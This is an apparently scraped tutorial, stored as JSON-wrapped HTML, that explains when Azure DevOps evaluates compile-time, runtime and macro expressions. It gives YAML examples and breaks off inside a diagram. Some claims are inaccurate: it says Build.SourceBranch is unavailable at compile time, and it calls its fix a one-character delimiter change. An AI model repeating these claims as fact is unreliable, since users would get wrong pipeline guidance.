[{"content":"\u003cp\u003eYour pipeline condition evaluates to \u003ccode\u003efalse\u003c/code\u003e. You know the variable is set. The logs show it. Yet the step is skipped. No error. No warning. Just silence.\u003c/p\u003e\n\u003cp\u003eThis failure pattern is the most common source of confusion in Azure DevOps pipelines. The root cause is almost always the same: you used the wrong expression syntax for the phase at which the value exists. Azure DevOps pipelines evaluate three distinct syntaxes — \u003ccode\u003e${{ }}\u003c/code\u003e, \u003ccode\u003e$[ ]\u003c/code\u003e, and \u003ccode\u003e$( )\u003c/code\u003e — at three different points in the pipeline lifecycle. Mixing them up produces conditions that are always true, always false, or invisibly broken. Most documentation treats the three syntaxes as interchangeable footnotes. They are not.\u003c/p\u003e\n\u003cp\u003eThis guide covers the exact phase at which each syntax evaluates, which variables are visible at compile time versus runtime, how to refactor broken conditions, and how to recognize the four most common expression failure patterns before they reach production.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"the-three-expression-syntaxes-at-a-glance\"\u003eThe Three Expression Syntaxes at a Glance\u003c/h2\u003e\n\u003ch3 id=\"syntax-reference\"\u003eSyntax Reference\u003c/h3\u003e\n\u003ctable\u003e\n  \u003cthead\u003e\n      \u003ctr\u003e\n          \u003cth\u003eSyntax\u003c/th\u003e\n          \u003cth\u003eName\u003c/th\u003e\n          \u003cth\u003eEvaluation Phase\u003c/th\u003e\n          \u003cth\u003eValid Contexts\u003c/th\u003e\n          \u003cth\u003eVariable Sources\u003c/th\u003e\n          \u003cth\u003ePrimary Use Case\u003c/th\u003e\n      \u003c/tr\u003e\n  \u003c/thead\u003e\n  \u003ctbody\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e${{ expression }}\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eTemplate expression\u003c/td\u003e\n          \u003ctd\u003ePhase 2 — Compile\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eif\u003c/code\u003e, \u003ccode\u003eeach\u003c/code\u003e, \u003ccode\u003eelse\u003c/code\u003e, template parameters, any YAML key or value\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003eparameters\u003c/code\u003e, static \u003ccode\u003evariables\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eStructural modifications: conditional jobs, loop-generated stages, template inclusion\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$[ expression ]\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eRuntime expression\u003c/td\u003e\n          \u003ctd\u003ePhase 4 — Initialize\u003c/td\u003e\n          \u003ctd\u003e\u003ccode\u003econdition:\u003c/code\u003e, \u003ccode\u003evariables:\u003c/code\u003e mappings\u003c/td\u003e\n          \u003ctd\u003eAll pipeline variables, output variables, variable groups\u003c/td\u003e\n          \u003ctd\u003eBehavioral decisions: step conditions, output variable mapping\u003c/td\u003e\n      \u003c/tr\u003e\n      \u003ctr\u003e\n          \u003ctd\u003e\u003ccode\u003e$(variableName)\u003c/code\u003e\u003c/td\u003e\n          \u003ctd\u003eMacro\u003c/td\u003e\n          \u003ctd\u003ePhase 5 — Execute\u003c/td\u003e\n          \u003ctd\u003eTask inputs, script arguments, variable values\u003c/td\u003e\n          \u003ctd\u003eQueue-time variables, variable groups, \u003ccode\u003etask.setvariable\u003c/code\u003e values\u003c/td\u003e\n          \u003ctd\u003eString substitution in task arguments\u003c/td\u003e\n      \u003c/tr\u003e\n  \u003c/tbody\u003e\n\u003c/table\u003e\n\u003cp\u003eAll three syntaxes appear valid in a YAML file. None of them produces a parse error when used in the wrong context. The pipeline simply evaluates the expression against the variable store that exists at that phase — and if the variable is not there yet, the expression silently resolves to an empty string or false.\u003c/p\u003e\n\u003cp\u003eHere is a minimal pipeline that uses all three syntaxes in the same file:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# azure-pipelines.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003eparameters\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003erunSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003etype\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eboolean\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edefault\u003c/span\u003e: \u003cspan style=\"color:#66d9ef\"\u003efalse\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ebuildConfig\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003evalue\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eRelease\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003estages\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ${{ }} — compile-time: decides whether this stage exists in the plan at all\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if parameters.runSecurityScan }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurityScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSecurity Scan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eScan\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Running security scan\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuildApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edotnet build --configuration $(buildConfig)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#75715e\"\u003e# $(buildConfig) — macro: substituted just before dotnet.exe receives the argument\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003ebash\u003c/span\u003e: |\u003cspan style=\"color:#e6db74\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e              echo \u0026#34;##vso[task.setvariable variable=imageTag;isOutput=true]$(Build.BuildId)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003ename\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003esetTag\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eSet image tag output variable\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003edependsOn\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeployApp\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003evariables\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# $[ ] — runtime: reads the output variable after Build stage finishes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#f92672\"\u003eIMAGE_TAG\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e$[ stageDependencies.Build.BuildApp.outputs[\u0026#39;setTag.imageTag\u0026#39;] ]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          \u003cspan style=\"color:#75715e\"\u003e# $[ ] — runtime condition: only deploy from main branch\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e          - \u003cspan style=\"color:#f92672\"\u003escript\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eecho \u0026#34;Deploying image tag $(IMAGE_TAG)\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003edisplayName\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003ch3 id=\"why-the-distinction-matters\"\u003eWhy the Distinction Matters\u003c/h3\u003e\n\u003cp\u003eUsing \u003ccode\u003e${{ if variables['Build.SourceBranch'] }}\u003c/code\u003e to conditionally include a deployment job is a common mistake. The condition always evaluates to false because \u003ccode\u003eBuild.SourceBranch\u003c/code\u003e does not exist during YAML parsing — it is a predefined pipeline variable that the server populates in Phase 4, long after the compiled execution plan is locked in.\u003c/p\u003e\n\u003cp\u003eThe pipeline accepts this YAML without complaint. There is no error. The deployment job simply never appears in the execution plan, and the run log offers no hint as to why.\u003c/p\u003e\n\u003cp\u003eThe fix is a one-character change in the delimiter:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# BROKEN: Build.SourceBranch is not available at compile time (Phase 2)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#75715e\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# FIXED: Use a runtime condition evaluated at Phase 4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#f92672\"\u003econdition\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eeq(variables[\u0026#39;Build.SourceBranch\u0026#39;], \u0026#39;refs/heads/main\u0026#39;)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#75715e\"\u003e# ...\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eBoth lines look almost identical. One works. One silently removes the job from the plan every time.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"evaluation-order-the-exact-sequence\"\u003eEvaluation Order: The Exact Sequence\u003c/h2\u003e\n\u003ch3 id=\"the-five-phase-pipeline-lifecycle\"\u003eThe Five-Phase Pipeline Lifecycle\u003c/h3\u003e\n\u003cp\u003eUnderstanding when each syntax fires requires understanding when each phase runs.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 1 — Parse.\u003c/strong\u003e The Azure DevOps service reads your YAML file from the repository. Any \u003ccode\u003e- template:\u003c/code\u003e references trigger additional HTTP fetches for each referenced file. Each nested template that references another template adds another round-trip.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 2 — Compile.\u003c/strong\u003e The service evaluates all \u003ccode\u003e${{ }}\u003c/code\u003e compile-time expressions against the data available right now: \u003ccode\u003eparameters\u003c/code\u003e values, statically declared \u003ccode\u003evariables\u003c/code\u003e, and built-in compile-time functions. The result is the Expanded YAML — a flat, fully resolved execution plan with no template references or conditional blocks remaining. This is the document the queue receives. Once the Expanded YAML is produced, no compile-time expression will ever run again for this pipeline run.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 3 — Queue.\u003c/strong\u003e The Expanded YAML is submitted to the pipeline queue. No expressions are evaluated here. The plan is immutable at this point.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 4 — Initialize.\u003c/strong\u003e An agent is provisioned and the job begins. The service hydrates the variable store: predefined pipeline variables (\u003ccode\u003eBuild.SourceBranch\u003c/code\u003e, \u003ccode\u003eBuild.BuildId\u003c/code\u003e, etc.), variable group values, and queue-time overrides are all populated. Runtime expressions (\u003ccode\u003e$[ ]\u003c/code\u003e) in \u003ccode\u003econdition:\u003c/code\u003e fields and \u003ccode\u003evariables:\u003c/code\u003e mappings evaluate against this fully populated store.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003ePhase 5 — Execute.\u003c/strong\u003e Tasks run in sequence. Immediately before each task receives its inputs, macro substitution (\u003ccode\u003e$( )\u003c/code\u003e) replaces every \u003ccode\u003e$(varName)\u003c/code\u003e token with the current string value of that variable. Variables set by prior tasks via \u003ccode\u003e##vso[task.setvariable]\u003c/code\u003e are visible to macros in subsequent steps.\u003c/p\u003e\n\u003cpre tabindex=\"0\"\u003e\u003ccode\u003ePhase 1: Parse         → Template files fetched, syntax validated\nPhase 2: Compile       → ${{ }} expressions evaluated → Expanded YAML produced\nPhase 3: Queue         → Plan submitted, immutable\nPhase 4: Initialize    → Variables hydrated → $[ ] expressions evaluated\nPhase 5: Execute       → Tasks run → $( ) macros expanded per-task\n\u003c/code\u003e\u003c/pre\u003e\u003ch3 id=\"diagram-the-azure-devops-pipeline-lifecycle-and-expression-evaluation-order\"\u003eDiagram: The Azure DevOps Pipeline Lifecycle and Expression Evaluation Order\u003c/h3\u003e\n\u003cp\u003eThis diagram visualizes the \u003cstrong\u003eAzure DevOps Pipeline Lifecycle and Expression Evaluation Order\u003c/strong\u003e. It maps the three expression syntaxes (\u003ccode\u003e${{ }}\u003c/code\u003e, \u003ccode\u003e$[ ]\u003c/code\u003e, \u003ccode\u003e$( )\u003c/code\u003e) to the specific phases where they are evaluated, highlighting the critical \u0026ldquo;compile-time vs. runtime\u0026rdquo; boundary that governs variable availability and pipeline structure.\u003c/p\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n  \n    \u003csvg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      font-family=\"Menlo,Lucida Console,monospace\"\n      \n        viewBox=\"0 0 480 825\"\n      \u003e\n      \u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 32,0 L 464,0' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 440,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,96 L 120,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,96 L 440,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 112,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,128 L 440,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,176 L 120,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,176 L 440,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,272 L 248,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,272 L 464,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 248,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,320 L 464,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,368 L 440,368' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,416 L 440,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,432 L 248,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,432 L 464,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,528 L 464,528' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,576 L 440,576' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,624 L 120,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,624 L 440,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,656 L 112,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 128,656 L 440,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,704 L 120,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,704 L 440,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,800 L 464,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,0 L 32,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,320 L 32,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 32,528 L 32,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,48 L 56,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,128 L 56,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,368 L 56,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,576 L 56,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 56,656 L 56,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,96 L 120,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,176 L 120,208' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,624 L 120,656' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 120,704 L 120,736' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,256 L 248,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,272 L 248,304' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,304 L 248,320' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 248,432 L 248,512' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,48 L 440,96' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,128 L 440,176' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,368 L 440,416' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,576 L 440,624' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 440,656 L 440,704' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,0 L 464,272' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,320 L 464,432' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 464,528 L 464,800' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='128.000000,128.000000 116.000000,122.400002 116.000000,133.600006' fill='currentColor' transform='rotate(90.000000, 120.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='128.000000,656.000000 116.000000,650.400024 116.000000,661.599976' fill='currentColor' transform='rotate(90.000000, 120.000000, 656.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 248,304 L 248,312' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='264.000000,304.000000 252.000000,298.399994 252.000000,309.600006' fill='currentColor' transform='rotate(90.000000, 248.000000, 304.000000)'\u003e\u003c/polygon\u003e\n\u003cpath d='M 248,512 L 248,520' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='264.000000,512.000000 252.000000,506.399994 252.000000,517.599976' fill='currentColor' transform='rotate(90.000000, 248.000000, 512.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='72' y='468' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='484' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='468' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='484' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='468' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='484' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='484' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='468' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='484' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='468' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='484' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='228' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='244' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='468' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='484' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='756' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='772' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='468' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='484' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='164' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='228' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='244' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='468' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='756' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='772' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='164' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='228' fill='currentColor' 